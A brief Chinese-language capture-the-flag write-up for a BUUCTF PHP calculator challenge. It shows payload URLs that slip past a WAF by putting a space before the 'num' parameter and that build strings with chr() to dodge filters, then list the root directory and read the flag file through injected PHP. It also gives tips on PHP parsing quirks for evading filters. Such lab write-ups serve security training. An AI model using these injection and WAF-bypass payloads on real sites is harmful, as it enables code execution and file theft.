啟動靶機,查看網頁源碼,發現關鍵字
$("#content").val() 是什么意思:
獲取id為content的HTML標簽元素的值,是JQuery, ("#content")相當於document.getElementById("content");
("#content").val()相當於 document.getElementById("content").value;
多次嘗試找不到思路,看了大佬的wp發現是被waf攔截了
payload:http://node3.buuoj.cn:29279/calc.php?%20num=var_dump(scandir(chr(47)))
在num前加一個空格符來繞過waf攔截
原因:假如waf不允許num變量傳遞字母,可以在num前加個空格,這樣waf就找不到num這個變量了,因為現在的變量叫“ num”,而不是“num”。但php在解析的時候,會先把空格給去掉,這樣我們的代碼還能正常運行,還上傳了非法字符。
發現根目錄存在f1agg
同理查看該文件內容
payload:http://node3.buuoj.cn:29279/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
成功拿到flag
補充:
1、PHP的字符串解析特性是什么?
答: PHP需要將所有參數轉換為有效的變量名,因此在解析查詢字符串時,它會做兩件事:1.刪除空白符 2.將某些字符轉換為下划線(包括空格)【當waf不讓你過的時候,php卻可以讓你過】
2、發現過濾怎么辦?
答:用char()轉ascii再進行拼接
3、盡量多的積累一些PHP函數,在關鍵時刻可以利用